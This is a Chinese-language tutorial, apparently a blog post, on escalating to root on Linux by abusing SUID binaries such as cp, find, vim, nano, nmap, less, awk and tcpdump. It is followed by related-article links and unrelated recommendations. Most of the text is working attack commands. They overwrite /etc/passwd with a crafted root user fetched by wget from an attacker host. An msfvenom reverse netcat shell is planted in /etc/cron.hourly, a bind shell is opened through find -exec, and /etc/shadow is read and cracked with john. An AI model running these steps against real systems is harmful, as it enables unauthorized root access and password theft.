0x00 基础知识

众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备。因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制所有三个操作的权限。看如下图所示:

从上图中可看到用于为每个用户设置组合许可的最大位数是7,它是read(4)write(2)和execute(1)操作的组合。例如,如果设置chmod 755,那么它就相当于rwxr-xr-x

 

但是当给每个用户特殊许可时,它将变为SUID,SGID和 sticky bits。当其他位设置成“4”时,它变为SUID(设置用户ID),当位“2”设置为组时,它变为SGID(设置组ID),并且如果允许其他用户创建或删除任何用户ID在目录中的文件然后将 sticky bits “1”设置到该目录。

1.什么是SUID许可?

SUID Set User ID是一种权限类型,允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件/程序/命令可以root权限运行.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。

怎么设置suid?

基本上,您可以使用“数字”方法或“符号”方法更改任何文件的权限。结果它将从s替换为 x,如下图所示,表示对特定文件/命令具有更高权限的特殊执行权限。由于为用户启用SUID,因此将在读/写/执行操作之前添加位4符号s

如果使用ls -al执行文件命令查看,您将看到到符号small 's',如上图所示,则表示该文件的SUID位已启用,并且可以使用root权限运行。

2.SUID如何帮助普通用户提升权限?

在Linux中,如果启用了SUID位,非root用户可以使用某些现有的二进制文件和命令将特权升级为root访问权限。有一些著名的Linux / Unix可执行文件命令可以让权限升级如命令:Bash,Cat,cp,echo,find,Less,More,Nano,Nmap,Vim。

让我们用实例深入了解。首先,创建一个不是sudo组用户的用户。这里我们添加了一个用户“ignite”,其UID为1001,GID为1001,因此 ignite是非root用户。

0x01 使用“cp”命令进行权限提升

如果为用于复制数据的cp命令启用了suid位,则可导致权限升级以获得root访问权限。例如,假设系统管理员想要为cp命令提供SUID权限。然后,您可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。

which cp

ls -al /bin/cp

chmod u+s /bin/cp

1.第一种方法

另一方面,开始远程以普通权限登录到目标系统并通过查找命令,然后转移到权限提升阶段。假设通过ssh成功登录受害者的计算机并访问非root用户终端。然后通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。

从上图中可以看到它显示的文件太多但我们重点注意/bin/cp文。因为现在我们可以复制 /etc/password文件来读取用户列表。因此将password文件复制到html目录下。

cp /etc/passwd /var/www/html

另一方面,我们使用OpenSSL passwd生成了一个新的用户hack并设置密码为pass123

我们已经复制的文件也就是在web目录下/var/www/htm的 passwd 文件,所以可以通过网络浏览器访问并下载打开它,然后复制password文件的全部内容到一个文本文件中,并可以添加我们自己的用户 root UID,GID和目录信息

之前的文章中,已经讨论了如何使用openssl passwd实用程序添加用户/etc/passwd。

在我们的另一台服务器上运行Python HTTP服务,将我们编辑的passwd文件传输到受害者机器上。

python -m SimpleHTTPServer 80

众所周知,/tmp目录具有创建或删除任何文件的所有权限,因此在该目录下下载了已修改好的passwd文件。一旦它被下载,然后我们将/tmp/passwd的文件拷贝到/etc/passwd中,结果它将覆盖原始的passwd文件。

命令如下:

cd /tmp

wget http://192.168.1.108/passwd

cp passwd /etc/passwd

在tail命令的帮助下,我们确保我们添加的用户hack是/etc/passwd文件存储了用户信息。由于我们已经添加了具有root权限的用户,因此将进入root目录.

命令如下:

tail  -n  /etc/passwd

su hack

whoam

可以成功看到升级为root权限。

2.第二种方法

同样如果为cp命令启用SUID位,我们也可以在目标系统中传输后门。这里我们使用msfvenom命令为反向连接生成了natcat后门。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R

然后复制上面突出显示的代码,并通过编辑bash文件将内容粘贴进去,然后准备将它转移到目标的系统中,这里已保存为raj.sh

现在我们都知道Linux crontab实用计划程序是以每小时,每天,每周和每月运行文件,因此在/etc/cron.hourly目录中复制了raj.sh。它将在一小时后运行raj.sh文件。

命令如下:

cp raj.sh /etc/cron.hourly/

ls -al /etc/cron.hourly/

另一方面,我们在一个新的终端中启动了Netcat监听,并且随着时间的推移,它将提供目标系统的root权限反向连接。因此,我们看到如果SUID位为ON,单个cp命令如何进行权限提升。您可以使用cp命令尝试以自己的方式提升root权限。

0x02 使用Find命令进行权限提升

同样,如果find命令的SUID位为ON,我们可以升级root权限。例如,假设(系统管理员想要为Find命令提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后您可以通过更改权限启用SUID位.

which find

ls -al /usr/bin/find

chmod u+s /usr/bin/find

再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。

find/-perm-u=s-typef2>/dev/null

所以在这里我们知道命令已启用了SUID位,这意味着我们可以在find命令中执行任何命令。首先,我们创建一个空文件“raj”,然后运行whoami命令,如下所示。

touch raj

find raj -exec "whoami" \;

如果攻击者成功枚举了/usr/bin/find的SUID位,那么将允许执行任何恶意命令,例如netcat bin/bash shell命令,或者可以获取重要的系统信息以进行权限提升。

0x03使用Vim进行权限提升

同样,如果Vim编辑器的SUID位为ON,我们可以升级为root权限。例如,假设系统管理员想要为Vim编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。

命令如下:

which vim

ls -al /usr/bin/vim

ls -al /usr/bin/alternatives/vim

chmod u+s /usr/bin/vim.basic

您将通过软链接到vim.basic,如下图所示。

再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,可以枚举所有具有SUID权限的二进制文件。

find / -perm -u=s -type f >/dev/null

所以在这里我们知道为/usr/bin/vim.basic启用了SUID位,因此现在我们可以编辑通过vim只能由sudo或root用户编辑的文件。

我们知道ignite是权限最小的非root用户,因为vim具有SUID权限,因此,我们可以通过它编辑sudoers文件,并可以更改用户“ignite”的权限。因此,我们通过键入visudo命令打开sudoers文件,并向用户ignite授权所有者权限,如图所示。

ignite   ALL=(ALL:ALL) ALL

现在让我们访问根目录,这个技巧也可以很好地用于权限提升。

如下命令:

sudo -l

sudo bash

id

0x04 使用保存的脚本进行权限提升

获得系统或程序调用的任何类型的脚本都有最大的机会进行权限提升,它可以是PHP,Python或C语言脚本的任何脚本。假设系统管理员想要为C语言脚本提供SUID权限,该脚本将在执行时提供bash shell。所以这里我们编写了一个c程序,它将为bash shell调用系统并将其保存为“asroot.c”。

然后在/bi目录中创建一个rootshell目录并复制asroot.c文件到该目录下,然后运行gcc编译器进行编译。

mkdir /bin/rootshell

cd /bin/rootshell

cp /home/raj/Desktop/asroot.c .

ls

gcc asroot.c -o shell

chmod u+s shell

ls -al shell

现在再次攻击目标系统并使用find命令识别具有SUID权限的二进制文件。

find/-perm-u=s-typef2>/dev/null

所以在这里我们开始知道列出了二进制文件启用的suid位,但我们重点观察/bin/rootshell/shell。所以进入到/ bin/rootshell目录下并运行脚本“shell”,结果我们获得root访问权限,如下所示。

0x06 使用Nano的权限提升

同样,如果SUID位为ON,则我们可以升级root权限。例如,假设系统管理员想要为nano编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,可以通过更改权限启用SUID位。

如下命令:

which nano

ls -al /bin/nano

chmod u+s /bin/nano

再次攻击目标系统,然后如上所述移动特权升级阶段。然后,通过使用以下命令,可以枚举具有SUID权限的所有二进制文件。

find/-perm-u=s-typef2>/dev/null

所以在这里我们开始知道为/bin/nano启用了SUID位,现在让我们打开/etc/passwd文件来编辑自己的用户,如上所述,使用openssl passwd。

另一方面,我使用openssl passwd添加一个新的用户名的demo以及密码123

现在使用nano编辑器打开passwd文件并添加您自己的用户,如上所述。在这里,您可以看到在受害者的系统中创建了带有加密密码的演示用户

su demo

id

如果为/ bin/nano启用了suid位,那么可以从/etc/shadow文件中窃取密码。因此,在攻击了目标机器后,我们在nano编辑器中打开了shadow文件,并为用户复制加密密码:raj。

现在将上面的代码复制粘贴到文本文件中并在桌面上保存为hash,然后使用john对其进行破解,如下所示。它已经现实出用户名raj以及密码123,现在尝试通过raj帐户登录目标系统。

0x07 其他tips技巧

1.Nmap

老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式

nmap --interactive

之后执行命令:

nmap> !sh

sh-3.2# whoami

root

msf中的模块为:

exploit/unix/local/setuid_nmap

2.Find

touch test

find test -exec whoami \;

如果服务器上装了nc,可以直接使用以下命令进行监听:

find test -exec netcat -lvp  -e /bin/sh \;

之后进行连接:

netcat 192.168.1.100 

则可获取root shell

3.vim/vi

打开vim,按下ESC

:set shell=/bin/sh

:shell

则可执行命令

4.bash

bash -p

bash-3.2# id

uid=(service) gid=(service) euid=(root) groups=(service)

5.less

less /etc/passwd

!/bin/sh

6.more

more /home/pelle/myfile

!/bin/bash

7.cp

使用cp覆盖 /etc/shadow

8.mv

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

9.awk

awk 'BEGIN {system("/bin/bash")}'

10.man

man passwd

!/bin/bash

11.python/perl/ruby/lua/etc

perl:

exec "/bin/bash";

python:

import os

os.system("/bin/bash")

12.tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test

chmod +x /tmp/.test

sudo tcpdump -ln -i eth0 -w /dev/null -W  -G  -z /tmp/.test -Z root
 
 
 
 

使用SUID二进制文件进行Linux权限升级技巧的更多相关文章

  1. 使用sudo进行Linux权限升级技巧

    0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...

  2. 使用PATH变量进行Linux权限升级技巧

    0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...

  3. 使用LD_Preload的Linux权限升级技巧

      0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...

  4. linux权限详解

    一个用户.一个组 我们来看一看 Linux 权限和所有权模型.我们已经看到每个文件属于一个用户和一个组.这正是 Linux 中权限模型的核心.您可以在 ls -l 清单中查看用户和组: $ ls -l ...

  5. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  6. Linux权限操作 [转]

    Linux权限操作 本文内容来自<鸟哥linux私房菜>读后个人做的笔记,该书实为学习linux的很好入门教材 一.文件属性 ls ls -al列出所有的档案属性 ls是List的意思 档 ...

  7. 【Linux】 Linux权限管理与特殊权限

    Linux权限管理 权限管理这方面,非常清楚地记得刚开始实习那会儿是仔细研究过的,不知道为什么没有笔记留痕..除了一些基本的知识点早就忘光了,无奈只好从头开始学习一遍.. ■ 基本权限知识 这部分实在 ...

  8. Linux权限基础

    Linux权限基础 四种权限大类 基本权限 特殊权限 隐藏权限 file ACL权限 三种基本权限 r(read) 读是基本权限,没有读权限其他的一切操作都会被限制 读 4 w(write) 写 2 ...

  9. linux权限管理-特殊权限

    目录 linux权限管理-特殊权限 一,特殊权限 Linux权限属性chattr概述 linux进程掩码umask linux权限管理-特殊权限 一,特殊权限 1.suid(4000) SetUID( ...

随机推荐

  1. 自动分配ip的方法- 【Linux】

    1.  查看本机无线网络使用的网卡 2.  设置vbox的网络连接为桥接,并选择本机无线网络对应的网卡 3.  进入系统,输入ifconfig命令,记录下系统的HWaddr 4.  修改系统ip配置文 ...

  2. Scikit-learn数据变换

    转载自:https://blog.csdn.net/Dream_angel_Z/article/details/49406573 本文主要是对照scikit-learn的preprocessing章节 ...

  3. Codeforces Round #515 (Div. 3) 解题报告(A~E)

    题目链接:http://codeforces.com/contest/1066 1066 A. Vova and Train 题意:Vova想坐火车从1点到L点,在路上v的整数倍的点上分布着灯笼,而在 ...

  4. Shader做剪影效果

    某渣渣甩了一个需求给我,并且说我不会写.我明知是激将法,但是想想这需求也太简单了,我好像也不怎么会QAQ.为了表示我对shader的热爱,写就写. 需求是这样的: 这是一个漂亮的MM,但是渣渣不想让人 ...

  5. wf4 FlowChart 理解

    1. 工作流是异步的,所以需要信号. 2. 需要创建 NativeActivity<T> 与整个FlowChart交互. 它的返回值 Result 正确含义是 该 Activity处理之后 ...

  6. lscpi命令详解

    基础命令学习目录 lspci是一个用来查看系统中所有PCI总线以及连接到该总线上的设备的工具. 命令格式为 lspci -参数 (不加参数显示所有硬件设备) 至于有哪些参数及其详细用法可以看下这篇博客 ...

  7. userdel命令详解

    基础命令学习目录首页 原文链接:http://www.360doc.com/content/15/0814/14/2149364_491595091.shtml 命 令: userdel  功能说明: ...

  8. shell之arp命令

    arp: 显示所有的表项. arp -d address: 删除一个arp表项. arp -s address hw_addr: 设置一个arp表项.   常用参数: -a 使用bsd形式输出.(没有 ...

  9. Python基础_eval(),exec(),globals(),locals(),compile()

    转发:http://www.cnblogs.com/yyds/p/6276746.html 1. eval函数 函数的作用: 计算指定表达式的值.也就是说它要执行的Python代码只能是单个运算表达式 ...

  10. OO终章--总结博客

    一.测试与正确性论证的比较 从方法上看,测试是使用大量测试样例来覆盖测试代码,从而能够检测代码的实现是否正确,功能是否完善.而正确性论证是使用代码的规格和逻辑进行严密的推论和证明,从而验证代码的实现正 ...